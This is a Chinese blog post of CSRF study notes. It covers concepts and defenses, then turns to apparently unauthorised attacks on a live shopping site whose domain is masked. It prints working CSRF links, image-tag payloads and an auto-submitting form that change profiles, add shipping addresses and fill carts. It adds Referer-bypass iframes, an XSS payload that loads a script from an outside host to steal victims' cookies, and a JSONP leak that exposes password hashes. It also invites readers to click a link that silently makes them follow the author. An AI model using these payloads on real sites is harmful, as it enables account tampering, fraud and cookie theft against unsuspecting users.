CSRF 跨站請求偽造學習筆記

R0oKi3發表於2020-07-05

參考文章:

What-是什麼

CSRF(Cross-site request forgery)跨站請求偽造。攻擊者通過構造特殊連結或者頁面,盜用使用者身份,以合法名義完成一些非法勾當。
大致流程:

  • 正常使用者訪問並登陸 A 網站

  • 於此同時,正常使用者被攻擊者欺騙

    • 第一種:訪問惡意網站
      惡意網站中存在著惡意程式碼,會向 A 網站發起請求,比如說轉賬,發表評論,釋出文章、關注使用者等等一些正常的操作。由於使用者已登入 A 網站儲存了 A 網站的 cookie,所以瀏覽器會帶著使用者的 cookie 去完成這些操作。

    • 第二種:開啟惡意連結
      在 A 網站上的一些操作是通過 GET 請求的方式完成的,比如說關注使用者 www.xxx.com/like.php?target_user=xxx,攻擊者通過構造該連結然後將其傳送給受害使用者,並帶上一些迷惑性的話語,例如:免費看 VA 大片等,受害使用者出於好奇心的驅使,點選了該連結,瀏覽器便帶著使用者的 cookie 去完成關注操作,而使用者卻渾然不知,只是在心中默罵了一句:臥槽,說好的大片呢。

  • 至此,一次 CSRF 攻擊已經完成。

Why-為什麼

怪就怪網站沒有做驗證,怪就怪瀏覽器記住了我的 cookie,怪就怪黑客說的話太誘人,怪就怪使用者好奇心太重

Where-在哪裡

  • 購物類網站

    • 新增/刪除 購物車、收貨地址、訂單
    • 關注店鋪
  • 論壇類網站

    • 關注博主
    • 發表/刪除 文章、評論
  • Jsonp劫持、CORS配置錯誤

  • 使用者與伺服器互動之處

How-怎麼辦

  • GET 型別

    • 構造連結傳送給使用者
    • 構造 HTML 標籤
      <image>、<audio>、<video>、<object>、<script>
  • POST 型別

    • 構造表單

Solutions-解決的辦法

  • 驗證 HTTP Referer 欄位

  • 在請求地址中新增 token 並驗證

  • 驗證碼、、加密引數

Steps-測試流程

  • 抓包,傳送到 Reperater 模組
  • go一下檢視正常請求的響應
  • 檢查請求頭中的 Referer、Oringin 頭
    • 沒有就過
    • 有就刪除欄位再發包測試一下
  • 檢查引數中是否有疑似 token 的欄位
    • 沒有就過
    • 有就刪除引數再發包測試一下
  • 當刪除無法通過時,請看下面文章的 Advanced-提升 這個地方

Example-例項

例項測試某購物網站:

  • 第一處 雞肋個人資訊修改
    個人資訊

點選儲存,抓包

傳送到 Reperater 模組後,GO一下,可以看到正常請求的響應為:
jQuery18307501563792125162_1593849507457({"isOk":true,"message":"\u4fee\u6539\u7528\u6237\u4fe1\u606f\u6210\u529f"})

觀察請求包,好傢伙,一來就是個 GET 型別的,可以看到在請求引數中並沒有疑似 token 欄位,於是下一步,刪除請求中的 Referer 頭後重新發包

可以看到響應包與之前沒有刪除 Referer 的響應包一樣,那麼基本上就可以判斷存在 CSRF 漏洞了
於是便可以構造

1.連結,其中將 realName 欄位修改為 曹植(%E6%9B%B9%E6%A4%8D) 以便於檢視 CSRF 是否成功
https://user.xxx.com/member/profile/updateUserInfo?time=0.2890179829503331&callback=jQuery18309406894391708689_1593849181119&hideNickName=hahahahaha&nickName=hahahahaha&realName=%E6%9B%B9%E6%A4%8D&province=2&city=36&district=425&birthday_y=1911&birthday_m=02&birthday_d=02&sex=1&_=1593849189035

2.構造 HTML 標籤,插入到惡意VA網站等
<img src="https://user.xxx.com/member/profile/updateUserInfo?time=0.2890179829503331&callback=jQuery18309406894391708689_1593849181119&hideNickName=hahahahaha&nickName=hahahahaha&realName=%E6%9B%B9%E6%A4%8D&province=2&city=36&district=425&birthday_y=1911&birthday_m=02&birthday_d=02&sex=1&_=1593849189035">

模擬受害者點選該連結或者瀏覽包含該 HTML 程式碼的惡意網頁,可以看到個人使用者資訊中 曹植 已經篡位了,取代了 曹操

  • 第二處 新增收貨地址(接下來的操作步驟會省略一點)

可以看到這裡 既有 token 又有 YII_CSRF_TOKEN 還有 Referer ,可惜並沒有做驗證操作,刪除 Referer 頭跟 token、YII_CSRF_TOKEN 欄位即可
在嘗試完 POST 請求方式是否可以改成 GET 失敗之後,考慮構造 form 表單,這裡利用 BURP 的構造 POC 功能


簡單更改一下程式碼,弄成不需要使用者點選自動提交

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://user.xxx.com/member/Address/addAddress" method="POST" type="hidden" id='test'>
      <input type="hidden" name="consignee" value="�&#155;&#185;�&#164;&#141;" />
      <input type="hidden" name="province" value="2" />
      <input type="hidden" name="city" value="36" />
      <input type="hidden" name="zone" value="425" />
      <input type="hidden" name="detail&#95;address" value="�&#150;&#176;�&#164;&#167;�&#129;&#147;" />
      <input type="hidden" name="apply&#95;mobile" value="13888888888" />
      <input type="hidden" name="apply&#95;telpone" value="" />
      <input type="hidden" name="is&#95;employees" value="" />
      <input type="hidden" name="apply&#95;email" value="" />
      <input type="hidden" name="apply&#95;zipcode" value="" />
      <input type="hidden" name="identity&#95;card" value="" />
      <input type="hidden" name="identity&#95;frontpic" value="" />
      <input type="hidden" name="idCard&#95;frontpic" value="" />
      <input type="hidden" name="identity&#95;backpic" value="" />
      <input type="hidden" name="idCard&#95;backpic" value="" />
      <input type="hidden" name="defaultAddress" value="1" />
      <input type="hidden" name="address&#95;id" value="" />
    </form>
  </body>
    <script>document.getElementById("test").submit()</script>
</html>

OK,然後把頁面放到惡意網站上,誘使使用者點選
可以看到設定成了預設地址,萬一有個使用者沒注意,直接把東西發貨給我那豈不是美滋滋。嗯!牢飯真香

  • 第三處 新增商品到購物車

同第一處一樣,在新增商品到購物車是抓包,構造連結誘使使用者點開

1.構造連結
http:?/bgact.xxxx.com/cart/addGoodsToCartByAjax?callback=jQuery18308528674476772126_1593854859975&goodsInfo%5B0%5D%5BproductId%5D=633433&goodsInfo%5B0%5D%5BsizeCode%5D=46&goodsInfo%5B0%5D%5BcolorCode%5D=10&number=2&productType=1&channelCode=HQ01S116&extensionId=1&cartType=&_=1593854955451
2.構造 html 程式碼,插入到惡意VA網站等
<img src="https://bgact.xxxx.com/cart/addGoodsToCartByAjax?callback=jQuery18308528674476772126_1593854859975&goodsInfo%5B0%5D%5BproductId%5D=633433&goodsInfo%5B0%5D%5BsizeCode%5D=46&goodsInfo%5B0%5D%5BcolorCode%5D=10&number=2&productType=1&channelCode=HQ01S116&extensionId=1&cartType=&_=1593854955451">
這種應該算是捱得到灰黑產的邊吧,我也不清楚,沒做過

  • 第四處 刷贊

同第三處一樣,構造連結或者 HTML 誘使他人點選即可

  • 其他不想找了

  • 意外發現 XSS
    jsonp 處的雙重 URL 編碼繞過
    https://bgact.xxx.com/collection-product/addCollectionProduct?callback=%3Cimg/src/onerror=%2561lert%25281%2529%3E&goods_sn=661642&_=1593856460094
    還有好多地方有 XSS,個人資訊、收貨地址都有

因為自己也是剛開始學,所以選了一個安全防護較弱的網站找的例子

Advanced-提升

  • Referer 問題

    1. 未考慮 Referer 為空的情況
    • 在網頁中新增<meta name="referrer" content="never">可置 Referer 為空
    • 在通過跨協議發起請求時,傳送的http請求裡的Referer為空,ftp://http://https://file://javascript:data:
      例如:
    <iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'">
    </iframe>
    
    <html>
        <body>
            <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
        </body>
    </html>
    
    1. 判斷 Referer 是否為本站某域
    • 子域上找一個 XSS 漏洞
    • 子域上找一個能插入 html 程式碼<a href='xxx.com'>、<img src='xxx.com'>等能發起請求的標籤
    1. 判斷 Referer 是否存在某關鍵詞/某域名

    例如要求 Referer 記憶體在存在 xxx.com 這個關鍵詞(一般就是要求包含主域名關鍵字)

    • XSS
    • 在惡意網站上新建一個xxx.com目錄,然後把存有造成 CSRF 的惡意程式碼的 html 檔案存放在 xxx.com 目錄,即可繞過

    例如要求 Referer 以 xxx.com 開頭

    • 惡意網站申請一個 xxx.com.eval.com 的子域名

    注意:這裡的 XSS 並不是self-XSS

  • Token 問題

    • 無效 token
      重複利用或者刪掉就好了
    • 有效 token
      一般都是要結合 XSS 才行,利用條件苛刻,場景少。其實稍微想一下就可以知道,要得到 token,使用者就必須要到提交表單的頁面,而且這個表單頁面也必須要有 xss 漏洞,還得是黑客可控。再者即使這些條件都滿足,黑客想通過該 token 來提交表單的時候,萬一後端會驗證該 token,將其與對應表單提交的資料比如商品 id 什麼的做校驗,那麼該 token 的唯一作用便是提交該商品的訂單,而無法任意新增其他商品。再者,既然使用者都來到了提交該表單的頁面了,說明有意願是會提交該表單的,那我們拿到 token 相當於只能幫使用者自動提交表單。真好。

CSRF + self-XSS 組合拳(用處:打其他使用者 cookie,一般只會針對單個使用者)

還是之前那個網站,個人資訊頁面暱稱處有個 self-XSS,打不到別人的 cookie,但是由於此處存在著 CSRF 漏洞,便可以結合 CSRF 與 XSS。

構造包含 XSS 程式碼的 CSRF 連結即可
https://user.xxx.com/member/profile/updateUserInfo?time=0.09009233029132824&callback=jQuery18309152739801311784_1593930781046&hideNickName=r0oki3&nickName=r0oki3%22%3E%3CsCRiPt+sRC%3D%2F%2Fxssye.com%2FTest%3E%3C%2FsCrIpT%3E%3C%22&realName=%E6%9B%B9%E6%A4%8D&province=2&city=36&district=425&birthday_y=1911&birthday_m=02&birthday_d=02&sex=1&_=1593930980030

誘導受害人點選即可在其個人資訊頁面新增 XSS 程式碼,一旦受害人點選檢視個人資訊,便可獲取 cookie 等資訊

XSS + CSRF (用處:批量給其他使用者造成 CSRF,針對的是所有訪問了包含該 XSS 內碼表面的使用者)

用於刷贊、修改密碼、惡意評論等等其他操作

Surprise-意外收穫

發現一個史詩級介面,有 jsonp 劫持,而且返回的內容也是極其的闊怕滴

沒見過這麼強的介面吧,密碼都給你返回了,解個 md5 明文密碼就出來了



小祕密:
部落格園關注使用者的地方也有 CSRF
不信你就點開看看傳送門
然後點開我的主頁,你就會發現,嘿嘿嘿



相關文章